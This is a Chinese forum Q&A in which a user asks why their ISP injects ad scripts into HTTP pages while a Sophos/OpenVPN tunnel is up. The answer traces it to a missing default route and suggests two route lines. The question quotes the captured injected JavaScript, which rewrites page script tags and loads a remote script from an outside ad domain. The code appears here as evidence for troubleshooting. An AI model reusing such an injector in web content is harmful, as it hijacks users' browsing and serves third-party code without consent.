![防止 ISP(代理分析器)通过 VPN 注入脚本](https://linux22.com/image/750600/%E9%98%B2%E6%AD%A2%20ISP%EF%BC%88%E4%BB%A3%E7%90%86%E5%88%86%E6%9E%90%E5%99%A8%EF%BC%89%E9%80%9A%E8%BF%87%20VPN%20%E6%B3%A8%E5%85%A5%E8%84%9A%E6%9C%AC.png)
我使用的是 Sophos SSL VPN 客户端。但我使用的是 BSNL ISP。每当我连接 VPN 并浏览任何 HTTP 非安全网站时,ADS 都会被注入到 JS 脚本文件中。但当我断开 VPN 并浏览任何非安全网站时,脚本注入不会发生,ADS 也不会显示
但我的问题是,在连接到安全隧道后,我的 ISP BSNL 如何识别我正在浏览非安全网站。这样路由的所有网络流量都将被加密。但他们如何使用网络代理分析器注入脚本?
您将在这里找到连接到 VPN 时的日志
OpenVPN 2.3.8 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [IPv6] built on Jul 3 2017
library versions: OpenSSL 1.0.2l 25 May 2017, LZO 2.09
Data Channel Encrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Encrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Data Channel Decrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Decrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 2048 bit RSA
脚本(JS)
!function() {
var a = "/analytics.js"
, r = null
, e = document.getElementsByTagName("script")
, i = e.length
, n = null
, t = Date.now()
, s = null
, o = 0;
for ("/" === a.substring(0, 1) && (a = a.substring(1)),
o = 0; o < i; o += 1)
if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
n = o,
r = e[o];
break
}
void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
try {
if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
window.sarazasarazaNoti.push(r.src);
var c = r.parentNode
, d = r;
if (r.async || r.defer || null !== n && n !== e.length - 1) {
var w = document.createElement("script");
w.src = s,
c.replaceChild(w, d)
} else
document.write("<script type='text/javascript' src=" + s + "><\/script>"),
c.removeChild(d)
}
} catch (a) {}
}();
document.addEventListener('DOMContentLoaded', function() {
var esp = document.createElement('span');
var esr = document.createElement('script');
esr.src = 'http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2';
esr.type = 'text/javascript';
esp.appendChild(esr);
document.body.appendChild(esp);
}, false);
HTML(脚本注入)
<html>
<head>
<script src="http://www.google-analytics.com/analytics.js?cb=1585885601053&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag"></script>
</head>
</body>
<span>
<script src="http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2" type="text/javascript"></script>
</span>
</body>
</html>
OpenVPN 配置
client
dev tun
proto tcp
verify-x509-name "OU=Domain Control Validated, CN=*.domain.com"
route remote_host 255.255.255.255 net_gateway
resolv-retry infinite
nobind
persist-key
persist-tun
<ca>
Bag Attributes: <No Attributes>
subject=/C=BE/O=GlobalSign nv-sa/CN=XXXSSL CA - SHA256 - G2
issuer=/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</ca>
<cert>
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
</key>
auth-user-pass pass.txt
cipher AES-128-CBC
auth SHA256
comp-lzo no
route-delay 4
verb 3
reneg-sec 86400
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
建立安全连接。我们需要如何使用 OpenVPN 协议配置我的 Sophos SSL VPN 客户端
答案1
...我的问题是,连接到安全隧道后,我的 ISP BSNL 怎样识别我正在浏览不安全的网站...
查看您的路由表(VPN 启动后),到更广泛的互联网的流量仍然通过您的 ISP 进行,而不是通过您的隧道,这就是您的 ISP 可以拦截它的原因。
如果您查看,您会发现您的“默认网关”(0.0.0.0 网络掩码 0.0.0.0 行,网关为 192.168.43.1)在第 13 行(VPN 之前)和第 53 行(VPN 之后)上是相同的。VPN 似乎确实在添加路由 - 但所有这些路由都非常具体,无法通过 Internet 路由。例如,对于 8.8.8.8 - 或大多数其他 Internet 地址,没有更具体的路由。 看起来您的 VPN 提供商没有向您推送默认路由,或者您这边没有接受它,而这正是问题的核心。
有多种方法可以解决这个问题。一种方法是将以下两行添加到配置文件中并重新启动 VPN:
route 0.0.0.0 128.0.0.0
route 128.0.0.0 128.0.0.0
这两行将匹配所有 IPV4 空间 (0.0.0.0 - 127.255.255.25 和 128.0.0.0 - 255.255.255.255),其组合效果相当于添加一个优先于现有网关的默认网关,因为它由更具体的路由组成。
如果成功,当您建立 VPN 连接时,这 2 条新路由将添加到您的路由表中,而当连接停止时,这 2 条新路由将被删除。
(就目前情况而言,您没有 IPv6 默认路由,但如果您的系统发生改变,您就需要更新您的 VPN,使其也能与 IPV6 兼容)